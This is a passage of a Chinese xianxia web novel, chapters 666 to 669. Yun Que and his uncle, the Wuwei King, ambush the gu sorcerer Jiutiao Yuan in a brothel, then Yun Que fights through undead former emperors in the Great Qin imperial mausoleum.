“陛下切勿动怒,这件事恐怕有蹊跷,皇宫内有法阵防御,有禁军拱卫,飞鸟难出,虫蚁难入,皇子虽然还小,毕竟是个活人,拥有自己的气息,若被贼人劫走,禁军里的高手不该毫无察觉。” “人没了,不是被劫走又是什么!那你说,朕的皇子去了何处!”白隆佑怒气冲冲的道。 吴尔智略一沉吟,朝那禁军头领询问道: “今晚,可有外人来过皇宫。” 禁军头领十分肯定的回答道: “绝无外人出没,今晚只有宰相大人与吉王来过皇宫,再无旁人。” 吴尔智又问兰妃:“皇妃娘娘何时发现皇子不见了?” 兰妃抹着眼泪道:“自从生下皇儿,我每晚都不敢睡得太死,经常醒来,我记得一刻钟之前才看过皇儿睡得好不好,然后小憩了一下,再醒来的时候皇儿就不见了,呜呜呜……” 吴尔智又问唐皇:“陛下,吉王殿下何时离开的皇宫。” 白隆佑想了想道:“云缺刚走不到一刻钟,宰相可是发现了什么线索?” 吴尔智点了点头,道: “陛下不必担心,皇子应该无碍,老臣估计,是吉王殿下带走了皇子,此时皇子所在之地,应该是天龙城。” “啊?”白隆佑瞪起眼睛道:“他把皇子带走作甚!皇子那么小,又帮不了他的忙!” 吴尔智苦笑道: “破釜沉舟之计,吉王这是怕陛下不肯后续派兵帮忙,先下手为强,带走了皇子,断了陛下的退路啊。” 白隆佑铁青的脸色开始变白,喘气道: “岂有此理,岂有此理!这个祸害,他一回来,整个皇宫都不得安宁!快,快去把药给朕拿来!” 唐皇被气了个半死,咬牙切齿,又无可奈何。 早知道吉王是个什么德行,就该防着点才对呀,白隆佑现在追悔莫及。 别人是舍不得孩子套不来狼,到他这位大唐皇帝这里成了偷不走孩子套不来援兵。 吴尔智提议道: “陛下,吉王行事虽然荒唐,但这次机会对大唐来说千载难逢,星辰殿在少年城的布局,微臣得知后万般心惊,由此推算出星辰殿的实力,足以毁灭大唐,这次若能协助大秦将其铲除或者重创,对大唐与大秦都有极大的好处。” “若大秦天龙城覆灭,唇亡齿寒,大唐皇城的下场,也绝不会好过。” 白隆佑听罢点头道: “依你看,这次的援军,我们必须要派了。” “不仅要派兵,还要派遣重兵!” 吴尔智冷笑道:“星辰殿既然敢在天龙城直接动手,必定有了六成以上的把握干掉秦皇,我们若能一举歼灭星辰殿,那么面对的将是无比虚弱甚至已经被重创的大秦帝王。” “三个和尚没水吃,两个和尚就有水吃了,不过抬水吃太累,还是一个和尚独占水井来得逍遥自在,微臣最近想起一个典籍,其上有句话,叫做狭天子而令诸侯!” 白隆佑听得眼前一亮,抚掌道: “好一个挟天子而令诸侯!还是宰相够阴险……呃,够睿智!不过大秦丞相与太尉,可不是好对付的。” 吴尔智冷笑道: “陛下放心,微臣虽然没有那左兰山修为高,但论起算计之道,我不比左兰山差多少,这次微臣亲自率领天策司前往天龙城,见机行事,若能挟持秦皇最好,如果没有机会,就当结个善缘,卖大秦一个天大的人情。” “你办事朕放心,辛苦宰相走一趟天龙城。”白隆佑拍板道。 吴尔智躬身领命,开始调集天策司,准备出发。 白隆佑安慰了兰妃几句,刚回到金銮殿,太子到了。 白誉来得很急,见到皇帝就询问道: “父皇,听说云缺回来了,他在何处!” “云缺与武威王和皇后先行一步,去天龙城了。”白隆佑道。 “儿臣也想去帮忙。”白誉道。 “你就别去了,你修为不够,去了反而危险,后续援军由宰相带队,即便那星辰殿再如何强大,这次也讨不到什么好处。”白隆佑道。 “从少年城回来之后,儿臣觉得修为有了长进,尤其剑道,可以用突飞猛进来形容,闭上眼睛就能看到奇异的剑谱在自行衍化,儿臣认为是老祖留下了传承。”白誉道。 “当真!” 白隆佑大喜道:“好!好哇!我们白家终于有后辈能继承老祖的剑道,为父等着你成为大唐第二位剑圣!” 惊喜过后,白隆佑神色一变,低声告诫。 “你继承老祖剑道这件事切勿外传,谁也不能告诉知道吗!尤其吉王,一个字都不能跟他提!” 白誉为难道: “云缺精通武道,刀法如神,儿臣对武道其实不大擅长,本想着有空闲的时候,找云缺一起修炼剑道,毕竟我们是表兄弟,老祖的剑道传承即便被他学会,也不算外传,大家一家人嘛。” “不行!朕说了不行就不行!” 白隆佑吹胡子瞪眼,就差没跟云缺断绝亲戚关系了。 “想要找他切磋修炼也可以,等你达到三品境界,比他修为还高的时候,你们随便切磋!” 白隆佑语重心长的道:“你是太子,将来要继承皇位成为大唐之主,为父现在传授你一份君王之道,你要谨记在心,七个字,防贼防火防云缺!” 说罢唐皇气呼呼离开,留下白誉莫名其妙,想不通今天父皇怎么如此生气。 闻香楼,大厅。 九笤原心不在焉的欣赏着歌舞,几曲过后,他觉得越发心烦。 算算时间,他儿子与那齐御去楼上已经小半个时辰了,还没下来。 “莫非我儿当真恢复了雄风?” 九笤原带着一份期待,起身走上二楼。 他只有九笤长袖一个独子,宝贝一样从小溺爱,上次被人家切了命根子,九笤原相当于绝后,他发誓要抓住凶手,大卸八块。 能让儿子恢复如初,是九笤原最大的心愿。 来到天字一号房,九笤原推门而入。 一进门,就看到九笤长袖浑身死血,嘴巴里咬着一只怪虫,眼珠子几乎瞪出框外的凄惨模样。 “我儿!” 九笤原眼前一黑,踉跄了一下险些摔倒,勃然大怒道:“是谁!谁敢将我儿伤到如此地步,我灭你满门!” 这时暗门开启,云缺正好走了出来。 第666章 快乐如神仙 九笤原如同一头愤怒的狮子,眼珠子瞪出了血丝,恶狠狠盯死了云缺。 “是你!是你这狗贼害了我儿!我要将你挫骨扬灰,大卸八块!” 云缺紧锁眉峰,面带不解的道: “你儿子好端端的,怎么能说被我所害?你看,他现在多舒服,快乐如神仙,简直快升天了。” “你放屁!” 九笤原大怒道:“我儿明明快死了!你居然如此恶毒,对他下如此狠手!我儿遭遇的一切,我要百倍奉还!” “有点格局行不行,挺大的岁数了,就这么点口气。” 云缺叹了口气道:“至少得千倍奉还听起来才凶悍,百倍算什么,大不了我吃掉百只虫子,炒着吃,煎着吃,油炸吃,一口气吃完没什么问题。” “好!老夫就让你千倍奉还!”九笤原说罢就要动手。 “既然算账,那咱们算清楚点,我的仇需要万倍奉还,减去你的千倍,还剩九千倍,九笤原,你准备好了没有。”云缺语气低沉的道。 “你的仇?你伤我儿在先,你有什么仇!”九笤原怒不可赦。 “怎么没有,咱们的仇大了去了。” 云缺说话间一脚踩住九笤长袖的左手,气机运转之下,血雾迸溅。 “一个郡主,一只手,两个郡主,两只手。” 说罢云缺再次抬脚,将九笤长袖的右手踩碎。 如此挑衅的举动,看得九笤原目眦欲裂,几乎要发疯。 “哎呀,手不够了,换脚吧。” 咔嚓!咔嚓! 两脚下去,九笤长的双脚变成了肉泥,他痛苦的哼哼着,嘴里的虫子让他发不出任何声音。 “这才四个郡主,九笤原,你自己算算,你到底吃了我大晋几个郡主呢。”云缺冷笑着说出此言。 九笤原惊呼道: “你是大晋之人!你到底是谁!” 云缺呵呵一笑,道:“我是你爷爷,大晋平天王!” “你是云缺!”九笤原怒吼出声。 大晋平天王的大名,即便九夷城之主也如雷贯耳。 九笤原早听闻过云缺的名字,只是从未见过,他做梦也没想到,自己居然将儿子交给了死对头。 “平天王!我要你的命!” 九笤原如同野兽般扑向云缺,而云缺往旁边一侧身,让出了位置。 一头白发的武威王,阔步而出! 九笤原立刻脚下一顿,彻底冷静下来。 一个平天王,他丝毫不在乎,可是忆白龙的出现带着一股冷冽骇人的杀气,这股杀气之强,即便九笤原也觉得心惊不已。 皇后长孙至清与百名家仆相继而出。 九笤原的心头一点点沉了下来,他发现自己中计了! 从一开始见到云缺那一刻,他就掉进了人家的陷阱里。 本以为云缺是个开赌坊的浪荡公子,九笤原看走了眼。 以九笤原的老奸巨猾,极少有看错人的时候,其实这次不怪他,一来他并不认得云缺,二来云缺在演技这方面绝对是天下一等一的实力。 堪称遇神骗神,遇鬼坑鬼,所过之处寸草不生,街边的野狗看到都得绕着走。 绝对的煞星。 九笤原居然让自己儿子跟着这种煞星去学御女之道,不把他儿子学死才怪了。 “九笤老贼,你不是算账么,来,咱们接着算。” 云缺呵呵笑道:“我是弄了你儿子不假,小辈们的纠纷,就该小辈们互相解决才对,你这当长辈的既然不要脸以大欺小,那好,我叔叔来了,你们长辈之间互相评评理吧。” 云缺说完,忆白龙一步踏出,身后出现一道残影,本体站在了包间大门口,封住退路。 嘭! 剑匣落地,武威王单手扶着剑匣冷声道: “云缺惹的祸,我这个当叔的,全接了。” 一句全接了,好生霸气! 这才是长辈该有的气度。 云缺不由得心中升起暖意,被生父利用背叛而带来的创伤,在武威王的一句全接了之下,修复了很多。 身为猎妖人,云缺也渴望着亲情,但云长吉的出现,所带来的只有无尽冰寒。 在武威王的身上,云缺看到了自己年幼时所憧憬的父爱。 哪怕今后武威王无法与母亲走到一起,云缺也决定这个皇叔自己这辈子认定了。 九笤原脸色阴沉的背对着大门,目光始终盯在云缺身上,寒声道: “利用闻香楼的传送阵,到大唐搬来救兵,你很精明,心智如妖,云缺,是老夫小瞧你了,老夫在此发誓,我要杀掉所有与你有关之人!你的妻子,你的孩子,你的长辈,你的朋友,包括你家的狗也会不得好死!” “呵!” 云缺笑出声来,道:“老东西,你还是不行啊,口气怎么也大不起来,我来教你,听好了九笤原,我云缺在此立誓,只要这辈子我有一口气在,灭你九夷人一族!十室十空!” 九笤原的眼皮猛地一跳。 他这位九夷城之主向来阴狠毒辣,云州之上的无数公主郡主死于他手,将人命当做玩物,玩腻了直接挖心大补。 但是比起狠辣,他与云缺之间,还差着不少距离。 至少嘴炮这一块儿,九笤原拍马也追不上云缺。 “那就试试看,谁先死!” 九笤原身体没动,脑袋居然直接转到身后,两手的关节挪移,手背成了手心。 猛然抬手,九笤原朝着门口的忆白龙虚抓了一下,冷喝道: “先从你这个当叔叔的开始杀起!十绝蛊,刀蛊!” 随着九笤原五指合拢,包间大门口的空间居然扭曲起来! 在云缺的视线里, 忆白龙身体没动,但是周身空间在旋转破裂,仿佛九笤原这一抓,捏碎了一片虚空! 破裂的虚空,仅仅是假象,是无数细小的刀气爆裂所形成。 忆白龙身边没有一柄刀,但这位武威王的身体却在瞬间被无数无形的刀刃切割出上千个伤口! 嘭!嘭!嘭! 血雾接连出现,炸起在忆白龙身上,一身白袍瞬间染红。 刀蛊不是刀,而是无数个诡异的蛊虫所组成。 这些细小的蛊虫有着特殊能力,可以隐入虚空,达到完全消失的效果。 之前忆白龙以身法挪移到门口,当他越过九笤原的瞬间,九笤原已经动手了。 提前将刀蛊没入门口的虚空当中,形成一片无人能感知得到的刀网! 忆白龙站定于门口,虽然封住了九笤原的后路,但自身也陷入了刀网当中。 九笤原此时动用刀蛊,相当于引爆了忆白龙所在的空间,上千只刀蛊同时爆裂所产生的威能,足以击杀同阶对手。 引爆刀蛊的同时,九笤原周身气息不在刻意收敛,尽数释放开来! 大屋里原本灯火通明,却在瞬间阴暗了下来,仿佛光线都被遮蔽。 这股气息极其强大,而且极其阴冷,令人如坠冰窟! 长孙至清神色一变,低呼道: “二品巫王!” 九笤原再无保留,在云缺面前展现出自己真正的修为,二品巫修的强大,足以让长孙至清这种三品道门修士忌惮万分。 云缺并没多少意外。 九笤原身为生肖高手中的申猴,境界不会低于三品就是了,之前就猜测对方有可能达到二品,果然如此。 真正让云缺担心,是忆白龙的伤势。 身中刀蛊之后,忆白龙的模样变得无比凄惨,身上全是血淋淋的刀口! 血肉翻开,甚至有些刀口能看到白森森的骨头! 如此重创,堪称惊人。 忆白龙踉跄了一下,以单手扶着剑匣为支撑,艰难的站稳,没有倒下。 九笤原看都没看忆白龙,头部再次转到云缺这边,冷笑道: “小鬼,让你见识见识何为强者!” 说话间,九笤原的左侧身体爆发出另一种气息,这股气息携带着纯正的灵气波动,强大中透着一股惊人的威压。 “道门威压!” 云缺觉得身体变得难以挪动,有巨大的压力起伏在空气中。 能靠着威压就将一位四品破军禁锢在原地,如此手段至少在三品以上! 长孙至清的神色再次一变,道: “三品化神!道巫同修!” 九笤原不仅散发出二品巫王之力,更动用出道门三品化神的威压,如此修为,足以镇压普通的二品高手。 毕竟多修炼一门,相当于多一份战力。 巫法晦涩恶毒,威力极大,但弊端是后劲不足,而道门讲究细水长流,正好弥补了巫修的这份短板。 九笤原同时拥有二品巫修与三品化神的修为,他的战力已经无法用正常的二品巫王来衡量,达到了一个可怕的高度。 最让云缺惊讶的是, 道门本就与巫修互相克制,九笤原居然能融会贯通,同时拥有道门与巫修的高深修为,可见此人的修炼天赋极强。 “今天,你们谁也别想活着离开此地!”九笤原嘶哑着怒吼。 本是一句威胁之言,不料有人当真了。 云缺突然抬脚,踩在九笤长袖脑袋上。 嘭一声闷响! 九夷城的这位少城主,在九笤原面前被踩碎了头颅,原地只剩下一具无头尸体。 “你爹说了,谁也不能活着离开,少城主先打个样儿。”云缺指着尸体说道。 九笤原愣了片刻,疯狂的怒吼起来。 他要被云缺气疯了,恨透了云缺,一边怒吼一边掐动咒诀。 “十绝!” 十绝蛊的蛊字尚未出口,九笤原的肩头出现了一只手。 九笤原大惊之下放弃了施法,扭头一看。 身后是刚刚被刀蛊重创的武威王。 忆白龙的身体在冒着烟雾,那是气机在涌动的征兆,身上无数伤口在快速愈合,血肉之间自行连接。 “说过了,云缺闯的祸,我来接。” 忆白龙声音冷漠,目光也淡漠。 九笤原则神色骤变,惊呼道: “不灭武夫!” 第667章 这个我喜欢 不灭境的武夫,最恐怖的一点是超强的自愈能力。 武威王结结实实的挨了一招十绝蛊,而十绝蛊中的刀蛊又是威力极强的一种,换成其他修行者即便不死也会彻底丧失战斗力。 然而在不灭武夫身上,这些看似骇人的巨大伤口,几个呼吸之间就能恢复如初。 九笤原原本阴狠的目光换成了巨大的惊诧,他虽然拥有着二品巫修与三品道门的修为,可是面对不灭武夫,如同面对天敌! 尤其在狭隘的房间里,不灭武夫的存在就是一种恐怖的妖兽! 当武威王的单手按在九笤原肩头的同时,长孙至清屈指而弹。 在云缺看来, 这位大唐皇后接连伸出了四根手指,好似在查数似的。 长孙至清弹出的四根手指,分别飞出了四片指甲大小的白玉片,落在房间四角。 四片白玉瞬息间融化,整个房间的墙壁与地面完全被一层坚固的玉石所铺满。 狂暴的阵道气息四溢开来。 “玉甲封魔阵已成,武威王可以畅快一战了。” 长孙至清冷冽的声音响起。 同时忆白龙一拳轰在九笤原的后腰,恐怖的拳劲直接将九笤原的身体炸开! 只剩一颗人头! 血腥的场面,令人震惊。 云缺始终紧锁眉峰。 九笤原,不会这么轻易被干掉。 果不其然,九笤原的人头突然幻化成一只拳头大小的蛊虫,爪子晃动了几下彻底死掉。 在距离忆白龙数丈开外的墙角,九笤原的身影再次浮现。 这次出现的九笤原,一身紫袍,袖口绣着一个申字,代表着生肖高手的身份。 在九笤原的脑后有一条长长的辫子,并非头发组成,而是九只首尾相连的蛊虫! 趴在九笤原后脑的第一只蛊虫,只有半个身体,另一半居然钻在九笤原的脑子里! 九笤原冷声道: “不灭武夫果然厉害!逼得老夫动用一只替身蛊,既然大唐高手来临,老夫不再藏拙,今日你们会葬身于此,给我儿陪葬!” 九笤原双手举起,看着像是托举着什么重物。 四周的空气出现了震荡,一只又一只怪虫浮现而出。 这种怪虫有着厚厚的贝壳,没有头脸,脑袋竟是一条象鼻! “十绝蛊,象蛊!” 九笤原震动臂膀,十只巨虫纷纷落地,发出阵阵轰鸣。 从这些蛊虫落地的震动可以判断,每一只都有数万斤的重量,一身厚壳比起铁甲还要坚固。 长孙至清神色微变,道: “此物防御力惊人,法术几乎无效,我来拖住申猴,武威王先对付象蛊!” 长孙至清带来的百名仆人各自排列成阵,在两名破军境的侍女率领下,准备协助皇后与申猴恶战。 云缺也做好了战斗准备。 决云剑在手,四品破军气机调动到极致。 这时忆白龙忽然一摆手,道: “无需皇嫂动手,此人,交给我即可,云缺,你带人先走,去别的地方帮忙。” 云缺低声道: “皇叔可有把握,此人是九夷城的城主,以阴险毒辣著称,不好对付。” 忆白龙淡然一笑,道: “你想要他怎么死,枭首,腰斩,还是凌迟。” 武威王始终语气淡淡,但是这份霸气足够惊人。 云缺听得热血沸腾,这才是武夫该有的霸道! “切碎了喂狗!” 云缺冷声道:“最好切成一百零八块,他这种人渣,只配喂狗,喂给一百零八条野狗正好,一条狗吃一块,让他下辈子轮回成狗崽子,直接在狗肚子里出生。” 长孙至清听得直皱眉,心说吉王看着模样不赖,像个小儒生,怎么骂起人来如此恶毒。 其实是这位大唐皇后不了解云缺,如果了解了,她会知道云缺不仅骂人恶毒,杀起仇人更加狠辣。 人家吉王就是个锱铢必报,不留隔夜仇的主儿。 既然武威王把握十足,云缺不在耽搁,与皇后离开了天字一号包间。 门一关,包间内再无声息。 打斗声与所有气息均被封死在玉甲封魔阵当中。 闻香楼内依旧热闹。 舞台上,两名舞姬穿着薄纱,翩翩起舞。 台下的许多客人喝得醉醺醺,各种彰显风流的调侃之词频出。 走下阶梯的时候,长孙至清瞥了眼舞台上穿着清凉的舞姬,眉宇间现出一种厌恶之色。 堂堂大秦皇后,何时来过这种乌烟瘴气的地方。 刚走下楼梯,迎面遇到个搂着女人上楼的客人,此人一眼看到长孙至清,顿时将怀里的女子推开,调戏道: “这个好!嘿嘿这个好啊!我就喜欢这种端庄的女人,闻香楼真会玩,这是扮的什么角色,扮皇妃吗,真像,真像哈哈!多少钱我都要了!” 说着就要动手动脚。 长孙至清的一张脸都青了,美目含煞,杀气腾腾。 一国皇后,居然被人调戏! 不等皇后出手,云缺先动手了,直接一拳,将那客人放倒在地。 “舅母别在意,烟花之地就这样,没几个好东西,咱们走。” 云缺在前边带路,刚走两步,被打倒的那客人一下抓住一名侍女的脚踝,留着鼻血道: “这个我也喜欢!” 这家伙是个有修为的,挨了云缺一拳居然还没昏死过去。 嘭! 侍女二话不说,一脚踢出,直接将那醉鬼踢出了楼外,在墙壁上印出一个人字形的豁口。 来到街上,长孙至清怒气未消,脸色苍白。 云缺正想着先去何处解围,长孙至清先开口道: “你皇舅,是不是经常来这种地方。” “呃……偶尔吧。”云缺模棱两可的道,并且察觉到了极重的杀气。 杀气来自身边这位大唐皇后。 当然这种杀气不是对云缺,也可以理解为怨妇特有的醋意。 “三宫六院七十二嫔妃,后宫那么多美人难道还不够吗,非得来这种鬼地方,你说,这里有什么好的。”长孙至清瞥了眼身后的青楼。 一众家仆没人敢吭声,哑巴一样,两个侍女更是低头不语,装成聋子。 云缺也想装哑巴装聋子,可装不成啊,就自己一个人,没人帮忙分担。 “可能,这里比较有新鲜感。”云缺硬着头皮道。 斩了这么多年妖,云缺觉得无论多么强大的妖邪,都好对付,唯独醋意大起的女人,不好对付。 尤其是满心醋意的皇后。 “新鲜感?那是什么东西,说来我听。”长孙至清冷着脸道。 “这个一时说不清楚,舅母娘娘,咱们先办正事,等以后有机会我在告知您老人家。”云缺无奈道。 “不行,本宫现在就要知道,何为新鲜感。”长孙至清冷声道。 云缺无可奈何,救兵是搬来了,结果搬来个醋坛子! 你去找唐皇讨论什么叫新鲜感不行吗,白隆佑肯定知道啊,非得抓住我这个外甥问个不停。 云缺没办法,只好长话短说总结道: “新鲜感有点复杂,最简单的例子就是穿着,舅母娘娘如果想试试的话,可以在皇舅下榻后宫之时,换一套别致一些的衣服。” “别致的衣服?本宫的裙衣很多,你说个样式,让下人去做。”长孙至清道。 “这个……”云缺看了眼皇后身后一群木头人似的武夫,无奈道:“舅母娘娘借一步说话。” 长孙至清往一旁走了两步的距离,道: “说罢,他们听不到,即便听到了,也会很快忘掉。” 云缺心说你真高,就走两步,那群五品金身和两个四品破军会听不到? 云缺也顾不得其他了,低声道: “方才在闻香楼里,舞台上那两名舞姬的衣装,就比较别致,舅母皇后有机会可以试一试,皇舅肯定会心动。” 长孙至清原本脸色有点苍白,一听这话顿时脸红了,瞪起了杏眼。 “胡闹,那等衣服岂能穿在身上!” 云缺仰头看天,摆出一副爱莫能助的表情。 长孙至清恼怒过后,压低了声音道:“什么地方能买到……” “大唐皇城最大的绸缎庄,肯定有得卖。”云缺如实道。 长孙至清恢复了端庄,道: “本宫知道了,今日问你之事,切勿外传,若有第三个人知道,哼,吃我灵草你就得原物奉还。” 云缺立刻精神起来,发誓肯定不会外传。 人家皇后养了快二十年的灵草,进了云缺肚子,这笔账人家可没忘。 只是发誓的时候,云缺瞄着不远处的百十来号,目光带着威胁的意味,那意思十分明显了。 你们的模样老子全记住了,要是消息传出去,先拿你们开刀! 长孙至清满意的点点头,道: “下一步,我们该去何处。” 云缺道: “有三个地方,皇宫,丞相府与皇陵,丞相府暂时不用去,学宫灵匠殿的先生已经前往查看,大秦太尉被引到皇陵,皇宫里鸦雀无声肯定也出了大问题。” 长孙至清沉吟道: “这么说,只剩下皇宫和皇陵两处地方,我们兵分两路,你去皇陵协助太尉,本宫前往皇宫查看一番。” “好,不过舅母娘娘务必小心,我估计皇宫里肯定有星辰殿的二品高手存在。”云缺道。 “放心便是,本宫有自保的手段,如遇强敌,本宫自会先行退走,等待陛下的后援。”长孙至清道:“用不用给你些人手。” “不必,我自己能应对,舅母保重。”云缺道。 定好计划,双方就此分开。 长孙至清带着百名家仆赶往皇宫查看情况,云缺则直奔城外皇陵。 疾行途中,怀里的黑布不断蠕动。 云缺将黑布掀开,现出了白无缺的小脑袋,正翻着白眼儿。 “你想闷死我是不是!” 白无缺大口喘气,翻白眼不是表达鄙夷,而是被闷得上不来气。 “佛陀转世也要呼吸吗?”云缺惊奇道。 “你刚生下来不喘气吗?”白无缺懊恼道。 “哦抱歉啊,下次帮你挖个洞。”云缺道。 “还有下次?”白无缺无奈的叹了口气,目光微动道:“这座城,有古怪。” 第668章 是兄弟,别渡我 即便白无缺不说,云缺也知道天龙城有古怪。 “你发现了什么?”云缺一边疾行,一边问道。 “两种罕见的力量叠加融合在一起。”白无缺皱着小小的眉头道。 “哪两种?”云缺追问。 “药力与魂力,很古怪的手段。”白无缺声音有些沉重的道。 “药力魂力?这两种力量不一样啊,怎么能叠加?”云缺大为诧异。 但凡有点修炼常识的人都知道,药力是从丹药或者灵材中而来,魂力是活物的神魂之力,两种八竿子打不着的力量,居然会叠加融合。 “所以我才说很古怪,你的见识太浅,修行界有很多秘闻,不是初学者可以接触到的。”白无缺道。 “对,我是初学者,表弟经验丰富,教教我呗,药力和魂力怎么才能融为一体。”云缺撇嘴道。 “你觉得,冰与火,能否相融。”白无缺道。 “肯定不能相融啊,相克的力量怎么能融合在一起,要么冰融化,要么火熄灭,没有第三种情况。”云缺笃定道。 “玩过冰灯吗。”白无缺道。 “当然玩过了!把蜡烛放在掏空的冰块里,只要天气够冷,即便冰块被烤得融化也会很快冻住……” 云缺说着说着,神色凝重起来。 冰灯不仅玩过,还没少玩呢,小时候在深冬时节,云缺经常与梅钱提着冰灯满山跑。 冰与火,其实在云缺小时候就知道,是可以共同存在的。 只是一时忽略了儿时的游戏。 “我明白了,只要达到特定条件,药力与魂力即可相融。”云缺沉声道。 “慧根深厚,一点就通,你很聪明,你不妨猜一猜,今晚的天龙城,到底是什么条件能让药力与魂力融为一体。”白无缺道。 “还用猜么,肯定是这场大雾!雾气不是空气,蕴含着水分,这些大雾承载了药力,而魂力只要游曳于雾气当中,就相当于游曳在药力当中,二者可以达到融合之效。”云缺道出了自己的看法。 白无缺点了点小脑袋,道: “表兄有没有兴趣皈依佛门,我可以亲自为你剃度。” “没兴趣!我这辈子最恨和尚!”云缺没好气的道:“兄弟归兄弟,再拉我进和尚庙,别怪我翻脸啊。” “有缘自会佛前坐,无缘既为天下客。”白无缺一张婴儿脸带着微笑道:“佛门,永远向你敞开。” “关上!赶紧关上!”云缺懊恼道:“红尘我还没玩够呢,是兄弟,别渡我!” “好好好,你自去玩耍便是,玩够了,佛门还在。”白无缺笑呵呵的道。 “别提佛门了,我肯定不去,先说说魂力和药力是怎么回事,莫非这场大雾能增强噬魂兽的力量?”云缺道。 “雾气笼罩全城,相当于药力遍布全城,我能察觉到这份药力对于增强魂力有着极大的好处,魂兽之类的异物,会在雾气中变得更强,也变得更好控制。”白无缺道。 “明白了,难怪街上的卫兵和百姓被噬魂兽控制,原来这就是噬魂师的力量,以药力加大对噬魂兽的驾驭,将满城百姓变成他的大军!”云缺道。 “你要小心,敌人当中有人精通药理,而且不是普通的精通,此人绝对是药道高手,既然能将增强魂兽的药力融入大雾,他就能将毒杀活物的药力同样融入雾气当中,吸一口空气,就有可能死于非命。”白无缺道。 “这么狠?” 云缺惊讶道:“照你这么说,控制大雾的噬魂师,只要一个念头即可杀掉满城活人!” “噬魂师做不到这一点,应该另有其人。”白无缺道。 “有道理,生肖高手大多两人一组,这次大雾来临,不知是哪两个生肖所为,对了,噬魂师到底是什么玩意?我怎么没听说过。”云缺问道。 “噬魂师比较特殊,是一种怪物,其本体名为鬼鸠,栖息于天澜宝境,专门以噬魂兽为食,世上能控制众多噬魂兽的存在,唯有鬼鸠这一种而已,再无其他。”白无缺道。 “原来是化境里的妖怪,以你估计,能控制这么多噬魂兽的噬魂师,会有多强。”云缺道。 “至少是三阶妖王,也可能达到二阶化羽境界,噬魂师极其难缠,是元神的克星,强大的噬魂师甚至可以虚化自身,潜入识海吞噬修行者的元神,不仅要强大的元神之力抵挡,还需要强悍的灵力才能防得住。”白无缺道。 “元神克星……这么说,噬魂师是武夫的天敌了!” 云缺惊讶道:“武夫的元神最弱,而且没有灵力存在,遇到专门吞噬元神的噬魂师,九死一生!” “可以这么说,以你四品破军境的修为,如果遭遇城里的噬魂师,很难抵挡。”白无缺道。 “抵挡不住就让他吞我元神好了,看看他能不能连着巫神残魂也一起吞掉。”云缺毫不在乎的道。 说起别的能力,云缺无法与那些顶尖高手比拟。 但是论起识海空间的凶险程度,那么云缺只要说一句我是天下第二,就没人敢自认天下第一。 识海里不仅有妖魂月魁,还有文殿镇守,文殿里封着巫神碑,云缺就不信谁敢闯进自己的识海,不管对方多强,至少云缺有绝对把握立于不败之地。 大不了同归于尽,反正我不输。 眼前就是城墙,云缺一跃而起落在城外。 落地后,云缺目光一凝。 自己不怕噬魂师,可不代表别人不怕! 太尉龙桃如果对上同阶的噬魂师,必定会被完全压制,甚至有可能元神不保! “噬魂师在皇陵!” 云缺低呼一声,心头发沉。 生肖高手应该来了四位,申猴酉鸡,噬魂师加上一名精通药道的高手。 申猴九笤原坐镇闻香楼,剩下三名生肖高手分布在城内,皇宫一个,丞相府一个,皇陵一个。 以云缺猜测, 噬魂师应该不会去对付左兰山,因为大儒的元神极其强大,还有浩然气护体。 秦皇战力最高,太尉龙桃次之,那么噬魂师最好的下手顺序,就该先杀太尉! 云缺对龙桃的处境十分担忧,脚下速度更快,直接动用影步,很快抵达了城郊皇陵。 皇陵外,倒着满地尸体,全是守军,无一活口。 一条宽敞的阶梯直通地底皇陵。 前方黑暗一片,看不到半点灯火,地宫大门仿佛一张黑洞洞的大嘴,等待着择人而噬。 “有没有把握对付噬魂师。”云缺沉声道。 “把握不大,除非让我碰到他的本体,距离过远的话,我无法动用太多的力量。” 白无缺说完立刻加了句:“别想着把我当暗器扔出去,噬魂师可以幻化本体,很可能我摔个半死,噬魂师毫发无损,你必须加倍小心,等待一个极佳的时机,我才有机会帮你。” 云缺点了点头。 从白无缺出手的弊端,云缺判断出魔佛应该也是类似的手段。 必须触碰噬魂师的本体,否则魔佛也难以吞噬掉噬魂师。 “我知道了,你看准时机,只要我没死掉之前,你可以一直等待,如果实在打不过,你自己先爬走,表哥不会拖你一起死。”云缺大度的道。 白无缺听完翻了个白眼儿。 爬走? 说得真好听,就像我能爬多快似的…… 深吸一口气,云缺打起精神,用黑布将白无缺绑在身后,手持决云剑,大步走进地宫。 经过狭长森冷的通道,云缺抵达了第一层地底大殿。 妖瞳已然运转, 无需光亮即可看到满地的尸体,上百名守军惨死于此,均为刀剑所杀。 云缺只是扫了眼,即可判断出这些守军并非外人所杀,是互相残杀而亡。 应该是被噬魂兽控制了本体。 皇陵地宫总共三层,云缺继续向下行去。 经过一条地底长廊,抵达地宫二层。 这里灯火通明,四周插着一排火把。 在大殿中心,发生着一场古怪的战斗。 一群腐烂破败的僵尸,追杀着太尉龙桃。 这些僵尸有的没了血肉只剩白骨,有的残留着一身干瘪的皮肤,有的眼珠子挂在眼眶外,有的顶着一颗骷髅头。 僵尸们有个共同点,全都穿着龙袍! 这是皇陵内,大秦历朝历代的先皇! 龙桃无比狼狈,犹如猴子般上蹿下跳,躲避着僵尸的追杀,满头大汗。 看到龙桃没死,云缺终于松了口气。 随后觉得气不打一处来。 龙桃可是二品武夫,不灭境的强者,居然累出满头汗,可见被逼到何种地步。 关键龙桃不敢还手对付这些先皇僵尸,只能被动挨打,四处躲避。 “太尉!我来助你一臂之力!” 云缺大吼一声,冲过去照着一个先皇僵尸就是一脚。 这一脚正好踹在骷髅头上,直接把脑袋踢飞了出去。 没头的僵尸伸着两只大手四处乱抓,变得十分可笑。 龙桃可笑不出来,惊得脸都白了,急忙道: “别踢别踢!千万别乱踢啊,这可是大秦历代先皇,不可不敬!” “先皇要弄死你,太尉难道不还手?”云缺道。 “弄不死,我受伤很快就能恢复过来,可先皇们一旦遗体有缺,就是大逆不道的罪名,祖宗不能动啊。”龙桃无奈道。 他的修为,对付这群僵尸轻而易举,可是不敢。 当朝太尉,若是摧毁了大秦一群先皇遗体,这份罪名足够龙桃背一辈子。 别说太尉,丞相来了也不敢动手。 “赢家的祖宗,又不是我祖宗,太尉不敢还手,我来!” 云缺可不管那套,三下五除二,把一群大秦先皇打得四分五裂的,没有一具全尸。 第669章 有福你享有难我当 望着满地残缺的尸体,龙桃呆若木鸡。 大秦皇族历代先皇,有一个算一个,个个死无全尸。 龙桃都快哭了, 这口黑锅,老夫扛不起啊…… 先皇遗骨,代表着仙武大秦的威严,岂能亵渎,现在好了,满地骨头块儿,都分不清谁是谁了。 云缺拍了拍手上的尘埃,道: “太尉无需道谢,咱们爷俩今天并肩作战,有福同享有难同当!” 龙桃茫然的看着云缺,道: 